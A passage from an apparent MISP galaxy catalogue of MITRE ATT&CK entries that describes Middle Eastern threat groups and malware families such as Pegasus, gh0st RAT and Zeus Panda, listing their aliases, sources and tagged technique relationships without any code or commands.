uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="LaZagne - S0349" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1500" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"
Leafminer - G0077
[Leafminer](https://attack.mitre.org/groups/G0077) is an Iranian threat group that has targeted government organizations and business entities in the Middle East since at least early 2017. (Citation: Symantec Leafminer July 2018)
The tag is: misp-galaxy:mitre-intrusion-set="Leafminer - G0077"
Leafminer - G0077 is also known as:
-
Leafminer
-
Raspite
Leafminer - G0077 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Redundant Access - T1108" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="LaZagne - S0349" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="MailSniper - S0413" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east |
DarkHydrus - G0079
[DarkHydrus](https://attack.mitre.org/groups/G0079) is a threat group that has targeted government agencies and educational institutions in the Middle East since at least 2016. The group heavily leverages open-source tools and custom payloads for carrying out attacks. (Citation: Unit 42 DarkHydrus July 2018) (Citation: Unit 42 Playbook Dec 2017)
The tag is: misp-galaxy:mitre-intrusion-set="DarkHydrus - G0079"
DarkHydrus - G0079 is also known as:
-
DarkHydrus
DarkHydrus - G0079 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="RogueRobin - S0270" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"
Links |
Malware
Name of ATT&CK software.
Malware is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
MITRE
Hacking Team UEFI Rootkit - S0047
[Hacking Team UEFI Rootkit](https://attack.mitre.org/software/S0047) is a rootkit developed by the company Hacking Team as a method of persistence for remote access software. (Citation: TrendMicro Hacking Team UEFI)
The tag is: misp-galaxy:mitre-malware="Hacking Team UEFI Rootkit - S0047"
Hacking Team UEFI Rootkit - S0047 is also known as:
-
Hacking Team UEFI Rootkit
Hacking Team UEFI Rootkit - S0047 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Firmware - T1019" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
Links |
X-Agent for Android - S0314
[X-Agent for Android](https://attack.mitre.org/software/S0314) is Android malware that was placed in a repackaged version of a Ukrainian artillery targeting application. The malware reportedly retrieved general location data on where the victim device was used, and therefore could likely indicate the potential location of Ukrainian artillery. (Citation: CrowdStrike-Android) Is it tracked separately from the [CHOPSTICK](https://attack.mitre.org/software/S0023).
The tag is: misp-galaxy:mitre-malware="X-Agent for Android - S0314"
X-Agent for Android - S0314 is also known as:
-
X-Agent for Android
X-Agent for Android - S0314 has relationships with:
-
similar: misp-galaxy:tool="CHOPSTICK" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="X-Agent" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="X-Agent (Android)" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.crowdstrike.com/wp-content/brochures/FancyBearTracksUkrainianArtillery.pdf |
Exaramel for Linux - S0401
[Exaramel for Linux](https://attack.mitre.org/software/S0401) is a backdoor written in the Go Programming Language and compiled as a 64-bit ELF binary. The Windows version is tracked separately under [Exaramel for Windows](https://attack.mitre.org/software/S0343).(Citation: ESET TeleBots Oct 2018)
The tag is: misp-galaxy:mitre-malware="Exaramel for Linux - S0401"
Exaramel for Linux - S0401 is also known as:
-
Exaramel for Linux
Exaramel for Linux - S0401 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Systemd Service - T1501" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Local Job Scheduling - T1168" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/ |
Pegasus for Android - S0316
[Pegasus for Android](https://attack.mitre.org/software/S0316) is the Android version of malware that has reportedly been linked to the NSO Group. (Citation: Lookout-PegasusAndroid) (Citation: Google-Chrysaor) The iOS version is tracked separately under [Pegasus for iOS](https://attack.mitre.org/software/S0289).
The tag is: misp-galaxy:mitre-malware="Pegasus for Android - S0316"
Pegasus for Android - S0316 is also known as:
-
Pegasus for Android
-
Chrysaor
Pegasus for Android - S0316 has relationships with:
-
similar: misp-galaxy:tool="Chrysaor" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Chrysaor" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Calendar Entries - T1435" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="App Auto-Start at Device Boot - T1402" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
Links |
https://android-developers.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html |
Pegasus for iOS - S0289
[Pegasus for iOS](https://attack.mitre.org/software/S0289) is the iOS version of malware that has reportedly been linked to the NSO Group. It has been advertised and sold to target high-value victims. (Citation: Lookout-Pegasus) (Citation: PegasusCitizenLab) The Android version is tracked separately under [Pegasus for Android](https://attack.mitre.org/software/S0316).
The tag is: misp-galaxy:mitre-malware="Pegasus for iOS - S0289"
Pegasus for iOS - S0289 is also known as:
-
Pegasus for iOS
Pegasus for iOS - S0289 has relationships with:
-
similar: misp-galaxy:tool="Chrysaor" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Chrysaor" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Exploit via Radio Interfaces - T1477" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1456" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
Exaramel for Windows - S0343
[Exaramel for Windows](https://attack.mitre.org/software/S0343) is a backdoor used for targeting Windows systems. The Linux version is tracked separately under [Exaramel for Linux](https://attack.mitre.org/software/S0401).(Citation: ESET TeleBots Oct 2018)
The tag is: misp-galaxy:mitre-malware="Exaramel for Windows - S0343"
Exaramel for Windows - S0343 is also known as:
-
Exaramel for Windows
Exaramel for Windows - S0343 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/ |
gh0st RAT - S0032
[gh0st RAT](https://attack.mitre.org/software/S0032) is a remote access tool (RAT). The source code is public and it has been used by multiple groups. (Citation: FireEye Hacking Team)(Citation: Arbor Musical Chairs Feb 2018)(Citation: Nccgroup Gh0st April 2018)
The tag is: misp-galaxy:mitre-malware="gh0st RAT - S0032"
gh0st RAT - S0032 is also known as:
-
gh0st RAT
gh0st RAT - S0032 has relationships with:
-
similar: misp-galaxy:tool="gh0st" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html |
https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/ |
China Chopper - S0020
[China Chopper](https://attack.mitre.org/software/S0020) is a [Web Shell](https://attack.mitre.org/techniques/T1100) hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. (Citation: Lee 2013) It has been used by several threat groups. (Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018)
The tag is: misp-galaxy:mitre-malware="China Chopper - S0020"
China Chopper - S0020 is also known as:
-
China Chopper
China Chopper - S0020 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage |
Skeleton Key - S0007
[Skeleton Key](https://attack.mitre.org/software/S0007) is malware used to inject false credentials into domain controllers with the intent of creating a backdoor password. (Citation: Dell Skeleton) Functionality similar to [Skeleton Key](https://attack.mitre.org/software/S0007) is included as a module in [Mimikatz](https://attack.mitre.org/software/S0002).
The tag is: misp-galaxy:mitre-malware="Skeleton Key - S0007"
Skeleton Key - S0007 is also known as:
-
Skeleton Key
Skeleton Key - S0007 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.secureworks.com/research/skeleton-key-malware-analysis |
P2P ZeuS - S0016
[P2P ZeuS](https://attack.mitre.org/software/S0016) is a closed-source fork of the leaked version of the ZeuS botnet. It presents improvements over the leaked version, including a peer-to-peer architecture. (Citation: Dell P2P ZeuS)
The tag is: misp-galaxy:mitre-malware="P2P ZeuS - S0016"
P2P ZeuS - S0016 is also known as:
-
P2P ZeuS
-
Peer-to-Peer ZeuS
-
Gameover ZeuS
P2P ZeuS - S0016 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
Links |
Unknown Logger - S0130
[Unknown Logger](https://attack.mitre.org/software/S0130) is a publicly released, free backdoor. Version 1.5 of the backdoor has been used by the actors responsible for the MONSOON campaign. (Citation: Forcepoint Monsoon)
The tag is: misp-galaxy:mitre-malware="Unknown Logger - S0130"
Unknown Logger - S0130 is also known as:
-
Unknown Logger
Unknown Logger - S0130 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
Links |
Cherry Picker - S0107
[Cherry Picker](https://attack.mitre.org/software/S0107) is a point of sale (PoS) memory scraper. (Citation: Trustwave Cherry Picker)
The tag is: misp-galaxy:mitre-malware="Cherry Picker - S0107"
Cherry Picker - S0107 is also known as:
-
Cherry Picker
Cherry Picker - S0107 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1103" with estimative-language:likelihood-probability="almost-certain"
Links |
Zeus Panda - S0330
[Zeus Panda](https://attack.mitre.org/software/S0330) is a Trojan designed to steal banking information and other sensitive credentials for exfiltration. [Zeus Panda](https://attack.mitre.org/software/S0330)’s original source code was leaked in 2011, allowing threat actors to use its source code as a basis for new malware variants. It is mainly used to target Windows operating systems ranging from Windows XP through Windows 10.(Citation: Talos Zeus Panda Nov 2017)(Citation: GDATA Zeus Panda June 2017)
The tag is: misp-galaxy:mitre-malware="Zeus Panda - S0330"
Zeus Panda - S0330 is also known as:
-
Zeus Panda
Zeus Panda - S0330 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hooking - T1179" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
Links |
https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More |
https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf |
SpyNote RAT - S0305
[SpyNote RAT](https://attack.mitre.org/software/S0305) (Remote Access Trojan) is a family of malicious Android apps. The [SpyNote RAT](https://attack.mitre.org/software/S0305) builder tool can be used to develop malicious apps with the malware’s functionality. (Citation: Zscaler-SpyNote)
The tag is: misp-galaxy:mitre-malware="SpyNote RAT - S0305"
SpyNote RAT - S0305 is also known as:
-
SpyNote RAT
SpyNote RAT - S0305 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="App Auto-Start at Device Boot - T1402" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.zscaler.com/blogs/research/spynote-rat-posing-netflix-app |
3PARA RAT - S0066
[3PARA RAT](https://attack.mitre.org/software/S0066) is a remote access tool (RAT) programmed in C++ that has been used by [Putter Panda](https://attack.mitre.org/groups/G0024). (Citation: CrowdStrike Putter Panda)
The tag is: misp-galaxy:mitre-malware="3PARA RAT - S0066"
3PARA RAT - S0066 is also known as:
-
3PARA RAT
3PARA RAT - S0066 has relationships with:
-
similar: misp-galaxy:rat="3PARA RAT" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Redundant Access - T1108" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
Links |
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf |
4H RAT - S0065
[4H RAT](https://attack.mitre.org/software/S0065) is malware that has been used by [Putter Panda](https://attack.mitre.org/groups/G0024) since at least 2007. (Citation: CrowdStrike Putter Panda)
The tag is: misp-galaxy:mitre-malware="4H RAT - S0065"
4H RAT - S0065 is also known as:
-
4H RAT
4H RAT - S0065 has relationships with:
-
similar: misp-galaxy:rat="4H RAT" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
Links |
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf |
Net Crawler - S0056
[Net Crawler](https://attack.mitre.org/software/S0056) is an intranet worm capable of extracting credentials using credential dumpers and spreading to systems on a network over SMB by brute forcing accounts with recovered passwords and using [PsExec](https://attack.mitre.org/software/S0029) to execute a copy of [Net Crawler](https://attack.mitre.org/software/S0056). (Citation: Cylance Cleaver)
The tag is: misp-galaxy:mitre-malware="Net Crawler - S0056"
Net Crawler - S0056 is also known as:
-
Net Crawler
-
NetC
Net Crawler - S0056 has relationships with:
-
similar: misp-galaxy:malpedia="NetC" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
Links |
AutoIt backdoor - S0129
[AutoIt backdoor](https://attack.mitre.org/software/S0129) is malware that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352. (Citation: Forcepoint Monsoon) This malware makes use of the legitimate scripting language for Windows GUI automation with the same name.
The tag is: misp-galaxy:mitre-malware="AutoIt backdoor - S0129"
AutoIt backdoor - S0129 is also known as:
-
AutoIt backdoor
AutoIt backdoor - S0129 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
Links |
Agent Tesla - S0331
[Agent Tesla](https://attack.mitre.org/software/S0331) is a spyware Trojan written in visual basic.(Citation: Fortinet Agent Tesla April 2018)
